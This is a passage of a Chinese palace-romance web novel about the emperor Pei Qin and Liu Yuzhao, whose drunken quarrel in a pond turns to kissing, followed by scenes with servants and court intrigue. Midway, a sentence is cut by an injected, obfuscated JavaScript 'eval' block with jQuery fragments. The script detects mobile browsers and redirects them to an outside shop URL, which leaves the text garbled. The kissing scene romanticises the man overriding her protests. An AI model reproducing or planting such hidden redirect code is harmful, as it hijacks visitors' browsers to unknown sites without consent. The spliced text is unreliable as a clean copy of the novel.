他的心口剜开深深的裂缝,里面涌出凛冽的寒风。
裴钦想要堵住她的嘴,让她不要说这些令他心痛难忍的话。
却也知道若不是今日醉酒,他断听不得她心底的话。
“好,你恨我。”
裴钦木然弯唇,眼底一片冰凉,他仰头望月,月光碎在眼中。
恨他也好,是他操纵棋盘,推无辜的她落局。
“陛下——”柳玉昭冰凉的手插.入他的发间,抚摸交错潮湿的头发,强行按下他扬起的头,注视自己的眼睛。
“你可曾有悔?”
裴钦低头看向她,他的眼中克制着翻涌的心绪,许是夏夜醉人,令他漆黑的眸中浮上些许水色。
容颜俊美的陛下与她缠在水中,竟把身边的荷花比下三分。
问出这个问题后,柳玉昭仿佛脱力般伏在他的胸前,裴钦用力抱着她,滚烫的掌心按在她的腰间,沿着湿透的肌肤传递温度。
他不敢看她,“朕不悔,柳玉昭,朕从不后悔。”
“哈——哈哈哈!”
怀中女郎疯狂颤动,拼命拍打他。
裴钦面无悲喜,只是紧紧抱着她,往岸上走。
他将柳玉昭放在岸边,自己还没站稳,就被一只柔弱的手毫不留情推了下去。
裴钦从水中起身,直视岸上坐着的女郎。
柳玉昭浑身湿透,披头散发,黑眼乌漆漆盯着他,夜色中宛若食人的鬼魅。
裴钦往岸上走,她毫不留情继续把人往地下推。
……
不清楚推了多少次,裴钦只是沉默着纵容她,一次次往岸上走。
就当这一次他已经熟练做好被推下去的举动时。
柳玉昭突然猝不及防抱住他。
“裴钦,”她道:“我恨你。”
他抱住她,在岸上待了许久,她的身体已经恢复正常的体温。
“我知。”
“陛下,我恨你。”
“我知。”
……
他火热的身躯一次次被凉水冲洗,触之温凉。
柳玉昭仿佛是被夜晚的燥风热到般,紧紧拥着他,直到滚烫的火焰从两人紧贴的皮肉下窜起。
她猛然推开他,起身正欲往回走。
不料裴钦从背后抱住她,粗粝的大掌刮擦过单薄纤细的后背,扭过泛着醉意的朦胧双眼。
“柳玉昭,你当我是死的不成!”
心底压抑的情.欲再难堵住,裴钦恶狠狠注视着她。
把他引来,打他骂他玩.弄他,最后心满意足地抽身离去,被逼出蜗牛壳的她坏极了。
她真是目无尊卑,裴钦想,他该好好教教她,不能随意喝酒,除非有他在身旁。
想到这里,裴钦直接撞上柔软红艳的唇,张口吞下皮肤上的水珠。
陌生的欲.望窜起,前所未有的触感让他顿时愣住。
相触的唇一碰即分,柳玉昭的胸口急促跳动,“咚咚咚”的声音似乎通过相触的肌肤传到他的耳中。
她慌乱推拒,乱窜的小手被另一只大掌拢住,尽数收在身前。
他尤不知餍.足,循着滚烫的气息再度循来,磕磕绊绊的交缠中,连微弱的抗拒都被悉数吞入。
既为青涩的吮.吸啃.咬中,她听见面前人断断续续唤着自己的名字。
“玉昭,昭昭,昭昭儿……”
“我心悦你。”
柳玉昭亦红着眼眶看他,仓促躲闪间吻落在耳后,她急忙挣脱手掌捂住他的唇,泪眼朦胧躲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309743|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闪。
“我恨你,一点都不欢喜你!”
他一点点吻开她的手掌,在手心落下急促的吻。
“我知,”裴钦双掌按在她的脸侧,清晰感知到那双璀璨如星的眼中复杂情感。
我知你既恨我,又爱我。
“玉昭,看着我,好生看着我。”
他复又吻上她的唇,吞没她微弱得可怜的抗拒,咽下夏日生出的潮湿水汽。
——
将柳玉昭交给李妈妈,裴钦叮嘱好仔细着服侍后,不顾身上狼狈,翻墙往贺凡的住处走去。
被勾起的心绪在微风中逐渐平静,落地时,除了湿透的衣衫和头发,裴钦已经看不出异常。
贺凡此时正在缝衣裳,他院子里只有几个洒扫婆子,衣裳坏了都是自己补,猛然间瞧见狼狈的陛下,还以为是自己花了眼。
“不必多礼,”裴钦看着他放到一旁的针篓,“侯府很穷?”
贺凡有些手足无措,约莫是他没想到陛下如此平易近人。
回道府中入账已经大不如前,不说他,就是贺夫人和侯爷也无往日潇洒,丫鬟婆子的开支更是再削一层。
裴钦:“柳姑娘那儿也是?”
贺凡:“大抵差不多,柳姑娘在府中不受重视,虽说……碍于陛下的面子,不至于刻意薄待,但……”
该有的东西都有,不过怎么都不至于到令人满意的程度。
裴钦闻言皱眉,他自个儿是土堆里打滚爬过来的,无甚精细不精细的,可这事儿放在柳玉昭身上,他就感觉浑身不得劲。
眼见陛下正欲转身离开,贺凡猜不准他来找自己的意思,只好沉默。
“怪了”,他捻起绣花针,熟练缝补着开口的裤子。
“陛下怎么半夜来侯府,中途像是还掉进水里了?”
张公公鬼鬼祟祟守在侯府外,他四处张望,确认无人才放下心。
私会臣妻,陛下哎,这也太目无礼法了点!
他不敢想象若是陛下被当登徒子抓住,那得是多大的丑闻,怕是御史台的几位在朝堂上撞死,陛下只会笑着附和。
“几位风姿,同朕也不遑多让。”
“张德,贼眉鼠眼作甚。”
裴钦掀开车帘正要入内,转头见张德愁眉苦脸,仿佛天塌了般。
张公公猛然回神:“陛下!您可算出来了!”
天知道他有多害怕,瞧见更夫都只敢躲起来,心里羡慕暗卫们藏得死死的。
裴钦没空理他,“回宫。”
“是。”张公公笑嘻嘻应下,近前几步才发觉马车上蔓延的水渍,窥见陛下冷寂的面容,他不敢多言,挥着鞭子驱马离开。
裴钦抚着箱笼里的女装,过些时日便是七夕,他想让她选件新衣。
现在想来,不若送些更合她心意的。
——
柳玉昭枕在木桶边缘,落水后她少不得再洗个澡。
幸好如今群芳苑都是裴钦的人,都则两人如此大动干戈,恐怕得被外人察觉。
低眉垂首的丫鬟递来一张张洁净的干帕,小小的群芳苑亮着烛火,十分有序。
李妈妈侍候姑娘越发顺心,今夜一遭,她如何看不出来姑娘是个有心计的。
换了常人,早被陛下捏在手里。
“什么时辰了?”
“小姐,子时过半了。”李妈妈回道,摸着半干的头发点点头,用簪子绾起。
柳玉昭从水中起身,接过李妈妈递来的帕子自己擦拭,她不喜与旁人靠得太近。
李妈妈展开衣衫,低头等待。
给姑娘穿衣时,瞧见耳后的红痕,李妈妈的脑袋埋得更低了。
“贺兰珠怎么说?”
柳玉昭端起茶盏润了润唇,丫鬟推开窗柩,微风拂过她红润的面容,带来些许凉意。
李妈妈跪坐在身后,接着给她擦拭头发。
“表小姐只说时候未到,需要姑娘帮助时自会给姑娘传信,她先谢过姑娘一番好心。”
柳玉昭把玩着柔顺的发丝,逶迤墨色缠绕在指尖,缓缓落地。
“福安那边怎么样?”